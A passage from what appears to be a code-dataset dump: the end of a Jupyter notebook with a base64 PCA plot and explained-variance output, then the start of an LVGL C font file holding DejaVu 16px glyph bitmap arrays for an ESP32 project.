gJzv4JZL8IQQQgYmn0E+EHuLoVXbv/GIQWsAX8CHNEjq4p4RYgfroccAQAkoIYQQtyH28sCYKaPR3NAMk8FkU8YYQ01pLYZEDMbwuPBe6iEhpDvQEjwhhBC3opybiJIbpbh7pQieUk9IvCUw6o1oqlPDf7AUs1ZMh0BIv76IG6AleKfRN5gQQohb8fb3RsaLC3D+6EVcPfUTWtRaCIR8jJ2VgKT0sQgdGdLbXSSEdBEloIQQQtyOt58Xpv1uMiYtUKK5qQUisQheUs+OX0iIK9EMqNMoASWEEOK2RBIRRBJRb3eDENLNKAElhBBCCHECYwysm2csu7s9d0VXwRNCCCGEEJeiGVBCCCGEEGfQOaBOowSUEEIIIcQZPbFx/MDIP2kJnhBCCCGEuBbNgBJCCCGEOIWmQJ1FM6CEEEIIIcSlaAaUEEIIIcQZFnbv0d1tDgA0A0oIIYQQQlyKZkAJIYQQQpxC54A6i2ZACSGEEEL6AZVKhVmzZiEnJ6fdOqdOncLcuXMhl8uRlpaGb7/91oU9/AUloIQQQgghTrh/K87ufjjjwoULWLx4MYqLi9utU1hYiNWrV2PNmjU4f/48Vq9ejf/5n/9BVVWVsx+B0ygBJYQQQgjpwz799FOsXbsWzz77bIf1EhMTMXPmTAgEAjzyyCNISkrCJ5984qKe/oLOAf0Zx3X9tV1po68aqLEP1LgBir31vweKgRo3QLG3/re7cYd+eYiF3X7rTA+xEACg0WhsjotEIohEIruvSU5Oxty5cyEQCB6YhObn50Mmk9kcGzlyJG7evNnFXjuOEtCfBQT4uEUbfdVAjX2gxg1Q7APRQI0boNiJfc/8fUWPtNvc3IyJEyfCYDD88l7PPIPVq1fbrR8UFNTpdiUSic0xsViMlpYW5zvrJEpACSGEEELciFAoxNmzZ22OtTf76QiJRAKdTmdzTKfTwcvLq8ttO4oSUEIIIYQQN/Kg5faukMlk+Omnn2yO5efnIy4urtvfqyN0ERIhhBBCyAAwb948nDt3DkePHoXJZMLRo0dx7tw5PProoy7vCyWghBBCCCH9lEKhwMGDBwEAUVFR2LFjB95//30kJSXhH//4B7Zv347IyEiX94tjzm44RQghhBBCiBNoBpQQQgghhLgUJaCEEEIIIcSlKAElhBBCCCEuRQkoIYQQQghxKUpAO6GlpQUvvfQSlEolxo0bhxdeeAHNzc12677yyitQKBQ2j1GjRmHlypXWOmlpaUhISLCpU1BQ4KpwHOJI7ACwYcMGxMXF2cTW+h6zn376KWbNmgW5XI6FCxciNzfXFWE4xdHYT5w4gUcffRRjx45FSkoK3nnnHVgsFmu5O497XV0dVq1ahcTERCiVSmzevBkmk8lu3VOnTmHu3LmQy+VIS0vDt99+a1P+z3/+E1OmTIFcLseSJUtw584dV4TgNEdi37NnD1JTU6FQKJCamoqPPvrIWmaxWKBQKCCXy23GuDfuMNJZjsSelZWFMWPG2MR2+vRpa3lfGvfOxp2VldXm53lMTAxeeeUVAH1zzO9TqVSYNWsWcnJy2q3T377rxM0w0qF169axZcuWsfr6elZbW8syMzPZX/7yl0699rvvvmPjx49nt27dYowxplarWUxMDCstLe3JLncbR2NfsGABO3DggN2y7OxsplAo2Pnz55nBYGD/93//x5RKJWtpaemp7neJI7FfvXqVxcfHs2+++YaZzWaWn5/Ppk+fznbu3MkYc/9xz8zMZM8//zxraWlhxcXFLD09nf3zn/9sU+/u3btszJgx7Msvv2RGo5EdOXKExcfHs8rKSsYYYwcOHGCTJ09mt27dYjqdjr322mssPT2dWSwWV4fUaZ2N/csvv2SJiYksNzeXWSwWdvHiRZaYmMiOHz/OGGMsLy+PxcbGMr1e7+oQnNbZ2BljTKlUspycHLtlfW3cHYm7tb1797KpU6eyqqoqxljfHHPGGDt//jybOXMmk8lkLDs7226d/vhdJ+6FEtAOtLS0sNjYWHbhwgXrsUuXLrH4+PgOE6e6ujqmVCrZ559/bj129uxZplQqe6y/3cnR2PV6PYuNjbUm27/2/PPPs5dfftnm2G9+8xu2b9++7u14N3A09uPHj7NXX33V5tirr77KnnrqKcaYe497YWEhk8lk1l8sjDF25MgRNm3atDZ1t27dylasWGFzbOXKlWzbtm2MMcYef/xx9u6771rLDAYDUygU7OzZsz3U+65xJPbdu3ez999/3+bY008/zTZt2sQYY2zfvn1s4cKFPdvhbuRI7MXFxeyhhx5iarXablt9adwdibu1goICFh8fz3788Ufrsb425ozdSxynTZvGjhw58sAEtL9914n7oSV43LsPalFRUbsPo9EImUxmrR8VFQWdTofC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"
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Explained Variance Ratio after Min-Max Normalization: [0.59660027 0.10332071]\n"
]
}
],
"execution_count": 15
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 2
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython2",
"version": "2.7.6"
}
},
"nbformat": 4,
"nbformat_minor": 5
}
| 1,813,029 | main | ipynb | en | jupyter notebook | excluded | {} | 0 | {} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_font/lv_font_dejavu_16_persian_hebrew.c | #include "../../lvgl.h"
/*******************************************************************************
* Size: 16 px
* Bpp: 4
* Opts: --no-compress --no-prefilter --bpp 4 --size 16 --font DejaVuSans.ttf -r 0x20-0x7f,0x5d0-0x5ea,0x600-0x6FF,0xFB50-0xFDFF,0xFE70-0xFEFF --font FontAwesome5-Solid+Brands+Regular.woff -r 61441,61448,61451,61452,61452,61453,61457,61459,61461,61465,61468,61473,61478,61479,61480,61502,61512,61515,61516,61517,61521,61522,61523,61524,61543,61544,61550,61552,61553,61556,61559,61560,61561,61563,61587,61589,61636,61637,61639,61671,61674,61683,61724,61732,61787,61931,62016,62017,62018,62019,62020,62087,62099,62212,62189,62810,63426,63650 --format lvgl -o lv_font_dejavu_16_persian_hebrew.c --force-fast-kern-format
******************************************************************************/
#ifndef LV_FONT_DEJAVU_16_PERSIAN_HEBREW
#define LV_FONT_DEJAVU_16_PERSIAN_HEBREW 1
#endif
#if LV_FONT_DEJAVU_16_PERSIAN_HEBREW
/*-----------------
* BITMAPS
*----------------*/
/*Store the image of the glyphs*/
static LV_ATTRIBUTE_LARGE_CONST const uint8_t gylph_bitmap[] = {
/* U+20 " " */
/* U+21 "!" */
0x9f, 0x9f, 0x9f, 0x9f, 0x9f, 0x8f, 0x8e, 0x6d,
0x0, 0x0, 0x9f, 0x9f,
/* U+22 "\"" */
0x7e, 0x8, 0xd7, 0xe0, 0x8d, 0x7e, 0x8, 0xd7,
0xe0, 0x8d, 0x24, 0x2, 0x40,
/* U+23 "#" */
0x0, 0x0, 0x5e, 0x0, 0xc7, 0x0, 0x0, 0x0,
0x8b, 0x0, 0xf3, 0x0, 0x0, 0x0, 0xb8, 0x3,
0xf0, 0x0, 0x0, 0x0, 0xf4, 0x6, 0xd0, 0x0,
0xe, 0xff, 0xff, 0xff, 0xff, 0xf3, 0x2, 0x38,
0xd3, 0x3e, 0x73, 0x30, 0x0, 0xa, 0x90, 0x1f,
0x20, 0x0, 0x0, 0xe, 0x50, 0x5e, 0x0, 0x0,
0xcf, 0xff, 0xff, 0xff, 0xff, 0x40, 0x23, 0x8d,
0x33, 0xe7, 0x33, 0x0, 0x0, 0xa9, 0x2, 0xf1,
0x0, 0x0, 0x0, 0xf4, 0x6, 0xd0, 0x0, 0x0,
/* U+24 "$" */
0x0, 0x6, 0x60, 0x0, 0x0, 0x6, 0x60, 0x0,
0x5, 0xce, 0xfd, 0xa1, 0x5f, 0x77, 0x84, 0x91,
0x9d, 0x6, 0x60, 0x0, 0x8f, 0x36, 0x60, 0x0,
0x1c, 0xfe, 0xc6, 0x10, 0x0, 0x3a, 0xde, 0xe3,
0x0, 0x6, 0x60, 0xdb, 0x0, 0x6, 0x60, 0xac,
0x98, 0x47, 0x87, 0xf7, 0x4a, 0xef, 0xfd, 0x70,
0x0, 0x6, 0x60, 0x0, 0x0, 0x6, 0x60, 0x0,
0x0, 0x3, 0x30, 0x0,
/* U+25 "%" */
0x2, 0xbf, 0xc3, 0x0, 0x0, 0xa9, 0x0, 0x0,
0xca, 0x7, 0xe0, 0x0, 0x4e, 0x0, 0x0, 0xf,
0x30, 0xf, 0x30, 0xd, 0x50, 0x0, 0x0, 0xf2,
0x0, 0xf3, 0x8, 0xb0, 0x0, 0x0, 0xc, 0x90,
0x7e, 0x2, 0xf2, 0x0, 0x0, 0x0, 0x2b, 0xfc,
0x30, 0xb8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5e, 0x1, 0xbe, 0xc3, 0x0, 0x0, 0x0, 0xe,
0x50, 0xba, 0x6, 0xe0, 0x0, 0x0, 0x8, 0xb0,
0xf, 0x30, 0xf, 0x40, 0x0, 0x2, 0xf2, 0x0,
0xf3, 0x0, 0xf4, 0x0, 0x0, 0xc7, 0x0, 0xb,
0xa0, 0x7e, 0x0, 0x0, 0x5d, 0x0, 0x0, 0x1b,
0xfd, 0x40,
/* U+26 "&" */
0x0, 0x5d, 0xfe, 0xa0, 0x0, 0x0, 0x4f, 0xa4,
0x6c, 0x10, 0x0, 0x9, 0xe0, 0x0, 0x0, 0x0,
0x0, 0x8f, 0x10, 0x0, 0x0, 0x0, 0x2, 0xfb,
0x0, 0x0, 0x0, 0x0, 0xae, 0xfa, 0x0, 0x0,
0x41, 0x7f, 0x35, 0xfa, 0x0, 0x2f, 0x4d, 0xa0,
0x5, 0xf9, 0x6, 0xf0, 0xf9, 0x0, 0x6, 0xf9,
0xd9, 0xc, 0xd0, 0x0, 0x6, 0xff, 0x10, 0x3f,
0xb3, 0x13, 0xaf, 0xf8, 0x0, 0x3b, 0xef, 0xd9,
0x27, 0xf7,
/* U+27 "'" */
0x7e, 0x7e, 0x7e, 0x7e, 0x24,
/* U+28 "(" */
0x0, 0x8b, 0x2, 0xf3, 0x9, 0xc0, 0xe, 0x70,
0x3f, 0x30, 0x7f, 0x0, 0x9f, 0x0, 0x9e, 0x0,
0x8f, 0x0, 0x5f, 0x10, 0x2f, 0x50, 0xc, 0xa0,
0x5, 0xf0, 0x0, 0xd7, 0x0, 0x36,
/* U+29 ")" */
0x7c, 0x0, 0xe, 0x50, 0x9, 0xc0, 0x3, 0xf3,
0x0, 0xf7, 0x0, 0xcb, 0x0, 0xbc, 0x0, 0xad,
0x0, 0xbc, 0x0, 0xe9, 0x1, 0xf5, 0x6, 0xf0,
0xb, 0x90, 0x3f, 0x10, 0x45, 0x0,
/* U+2A "*" */
0x0, 0x7, 0x70, 0x0, 0x24, 0x7, 0x70, 0x42,
0x2b, 0xb8, 0x9a, 0xb2, 0x0, 0x4f, 0xf4, 0x0,
0x5, 0xcb, 0xcc, 0x50, 0x4a, 0x17, 0x71, 0x94,
0x0, 0x7, 0x70, 0x0, 0x0, 0x2, 0x20, 0x0,
/* U+2B "+" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0xf5, 0x0, 0x0, 0x0, 0x0, 0xf, 0x50, 0x0,
0x0, 0x0, 0x0, 0xf5, 0x0, 0x0, 0x1, 0x11,
0x1f, 0x61, 0x11, 0x4, 0xff, 0xff, 0xff, 0xff,
0xfb, 0x14, 0x44, 0x4f, 0x84, 0x44, 0x30, 0x0,
0x0, 0xf5, 0x0, 0x0, 0x0, 0x0, 0xf, 0x50,
0x0, 0x0, 0x0, 0x0, 0xf5, 0x0, 0x0, 0x0,
0x0, 0xf, 0x50, 0x0, 0x0,
/* U+2C "," */
0x1d, 0x72, 0xf7, 0x6f, 0x1a, 0x80,
/* U+2D "-" */
0x1, 0x11, 0x13, 0xff, 0xff, 0x3, 0x33, 0x30,
/* U+2E "." */
0x4f, 0x54, 0xf5,
/* U+2F "/" */
0x0, 0x1, 0xf3, 0x0, 0x6, 0xe0, 0x0, 0xb,
0x90, 0x0, 0xf, 0x40, 0x0, 0x5f, 0x0, 0x0,
0xaa, 0x0, 0x0, 0xf5, 0x0, 0x4, 0xf1, 0x0,
0x9, 0xb0, 0x0, 0xe, 0x60, 0x0, 0x3f, 0x10,
0x0, 0x8c, 0x0, 0x0, 0xd7, 0x0, 0x0,
/* U+30 "0" */
0x1, 0xae, 0xfb, 0x20, 0x0, 0xde, 0x65, 0xde,
0x10, 0x5f, 0x40, 0x1, 0xf8, 0xa, 0xe0, 0x0,
0xb, 0xd0, 0xdb, 0x0, 0x0, 0x8f, 0xe, 0xa0,
0x0, 0x7, 0xf1, 0xea, 0x0, 0x0, 0x7f, 0x1d,
0xb0, 0x0, 0x8, 0xf0, 0xae, 0x0, 0x0, 0xbd,
0x6, 0xf3, 0x0, 0x1f, 0x80, 0xd, 0xe6, 0x5d,
0xe1, 0x0, 0x1a, 0xef, 0xb2, 0x0,
/* U+31 "1" */
0x19, 0xcf, 0xf2, 0x0, 0x3e, 0xbb, 0xf2, 0x0,
0x0, 0x7, 0xf2, 0x0, 0x0, 0x7, 0xf2, 0x0,
0x0, 0x7, 0xf2, 0x0, 0x0, 0x7, 0xf2, 0x0,
0x0, 0x7, 0xf2, 0x0, 0x0, 0x7, 0xf2, 0x0,
0x0, 0x7, 0xf2, 0x0, 0x0, 0x7, 0xf2, 0x0,
0x5, 0x59, 0xf6, 0x53, 0xf, 0xff, 0xff, 0xfb,
/* U+32 "2" */
0x49, 0xdf, 0xd9, 0x10, 0xcc, 0x75, 0x8f, 0xd0,
0x20, 0x0, 0x5, 0xf6, 0x0, 0x0, 0x1, 0xf7,
0x0, 0x0, 0x5, 0xf5, 0x0, 0x0, 0x1e, 0xc0,
0x0, 0x0, 0xce, 0x20, 0x0, 0xb, 0xf3, 0x0,
0x0, 0xbf, 0x30, 0x0, 0xa, 0xf3, 0x0, 0x0,
0x9f, 0x95, 0x55, 0x53, 0xdf, 0xff, 0xff, 0xf9,
/* U+33 "3" */
0x3b, 0xef, 0xeb, 0x30, 0x5a, 0x75, 0x7d, 0xf3,
0x0, 0x0, 0x1, 0xf8, 0x0, 0x0, 0x0, 0xf8,
0x0, 0x0, 0x2a, 0xf2, 0x0, 0xcf, 0xfe, 0x30,
0x0, 0x23, 0x5c, 0xe3, 0x0, 0x0, 0x0, 0xeb,
0x0, 0x0, 0x0, 0xbe, 0x0, 0x0, 0x1, 0xeb,
0xb9, 0x65, 0x8e, 0xf3, 0x6c, 0xef, 0xda, 0x20,
/* U+34 "4" */
0x0, 0x0, 0xa, 0xfa, 0x0, 0x0, 0x0, 0x4e,
0xfa, 0x0, 0x0, 0x0, 0xe6, 0xfa, 0x0, 0x0,
0x9, 0xc0, 0xfa, 0x0, 0x0, 0x3f, 0x20, 0xfa,
0x0, 0x0, 0xc8, 0x0, 0xfa, 0x0, 0x7, 0xe0,
0x0, 0xfa, 0x0, 0x1f, 0x61, 0x11, 0xfa, 0x10,
0x3f, 0xff, 0xff, 0xff, 0xf4, 0x4, 0x44, 0x44,
0xfb, 0x41, 0x0, 0x0, 0x0, 0xfa, 0x0, 0x0,
0x0, 0x0, 0xfa, 0x0,
/* U+35 "5" */
0x4f, 0xff, 0xff, 0xe0, 0x4f, 0x75, 0x55, 0x40,
0x4f, 0x20, 0x0, 0x0, 0x4f, 0x20, 0x0, 0x0,
0x4f, 0xff, 0xfa, 0x20, 0x39, 0x54, 0x7f, 0xe1,
0x0, 0x0, 0x3, 0xf8, 0x0, 0x0, 0x0, 0xeb,
0x0, 0x0, 0x0, 0xeb, 0x0, 0x0, 0x4, 0xf8,
0xb9, 0x66, 0x9f, 0xe1, 0x7c, 0xef, 0xe9, 0x10,
/* U+36 "6" */
0x0, 0x4c, 0xff, 0xc3, 0x0, 0x6f, 0xb7, 0x69,
0x50, 0x2f, 0x90, 0x0, 0x0, 0x8, 0xf1, 0x0,
0x0, 0x0, 0xbc, 0x6e, 0xfe, 0x70, 0xd, 0xfe,
0x64, 0x9f, 0x70, 0xdf, 0x50, 0x0, 0xbe, 0xc,
0xf0, 0x0, 0x7, 0xf2, 0x9f, 0x0, 0x0, 0x7f,
0x24, 0xf5, 0x0, 0xc, 0xe0, 0xb, 0xf7, 0x5a,
0xf6, 0x0, 0x9, 0xef, 0xd5, 0x0,
/* U+37 "7" */
0xbf, 0xff, 0xff, 0xfc, 0x35, 0x55, 0x57, 0xf8,
0x0, 0x0, 0x8, 0xf2, 0x0, 0x0, 0xe, 0xc0,
0x0, 0x0, 0x4f, 0x60, 0x0, 0x0, 0xaf, 0x0,
0x0, 0x0, 0xfa, 0x0, 0x0, 0x6, 0xf4, 0x0,
0x0, 0xc, 0xe0, 0x0, 0x0, 0x2f, 0x80, 0x0,
0x0, 0x8f, 0x20, 0x0, 0x0, 0xdc, 0x0, 0x0,
/* U+38 "8" */
0x3, 0xbe, 0xfc, 0x50, 0x3, 0xfc, 0x55, 0xbf,
0x50, 0x8f, 0x10, 0x0, 0xeb, 0x9, 0xf0, 0x0,
0xd, 0xb0, 0x2f, 0x91, 0x17, 0xf4, 0x0, 0x3e,
0xff, 0xf5, 0x0, 0x2e, 0xb4, 0x49, 0xf5, 0xb,
0xe0, 0x0, 0xb, 0xe0, 0xeb, 0x0, 0x0, 0x8f,
0x1c, 0xe0, 0x0, 0xb, 0xf0, 0x5f, 0xc5, 0x5a,
0xf8, 0x0, 0x4c, 0xef, 0xc6, 0x0,
/* U+39 "9" */
0x3, 0xcf, 0xea, 0x10, 0x3, 0xfc, 0x56, 0xed,
0x0, 0xbe, 0x0, 0x2, 0xf7, 0xe, 0xa0, 0x0,
0xe, 0xc0, 0xfa, 0x0, 0x0, 0xdf, 0xc, 0xd0,
0x0, 0x1f, 0xf0, 0x6f, 0x91, 0x2b, 0xff, 0x0,
0x7f, 0xff, 0xbb, 0xe0, 0x0, 0x2, 0x10, 0xdb,
0x0, 0x0, 0x0, 0x6f, 0x40, 0x39, 0x66, 0xaf,
0x90, 0x2, 0xbe, 0xfd, 0x60, 0x0,
/* U+3A ":" */
0x2f, 0x81, 0xf8, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1f, 0x82, 0xf8,
/* U+3B ";" */
0x2f, 0x81, 0xf8, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1d, 0x72, 0xf7, 0x6f, 0x1a, 0x80,
/* U+3C "<" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x28, 0xeb, 0x0, 0x0, 0x16, 0xcf, 0xe8,
0x20, 0x5, 0xbf, 0xe9, 0x30, 0x0, 0x3f, 0xfa,
0x50, 0x0, 0x0, 0x3, 0xef, 0xb5, 0x0, 0x0,
0x0, 0x0, 0x4a, 0xff, 0xa4, 0x0, 0x0, 0x0,
0x0, 0x5b, 0xfe, 0x93, 0x0, 0x0, 0x0, 0x1,
0x7d, 0xb0, 0x0, 0x0, 0x0, 0x0, 0x1,
/* U+3D "=" */
0x1, 0x11, 0x11, 0x11, 0x11, 0x4, 0xff, 0xff,
0xff, 0xff, 0xfb, 0x14, 0x44, 0x44, 0x44, 0x44,
0x20, 0x11, 0x11, 0x11, 0x11, 0x10, 0x4f, 0xff,
0xff, 0xff, 0xff, 0xb1, 0x44, 0x44, 0x44, 0x44,
0x42,
/* U+3E ">" */
0x11, 0x0, 0x0, 0x0, 0x0, 0x4, 0xfa, 0x40,
0x0, 0x0, 0x0, 0x6, 0xbf, 0xe9, 0x30, 0x0,
0x0, 0x0, 0x17, 0xcf, 0xd7, 0x20, 0x0, 0x0,
0x0, 0x28, 0xef, 0x90, 0x0, 0x0, 0x3, 0x9e,
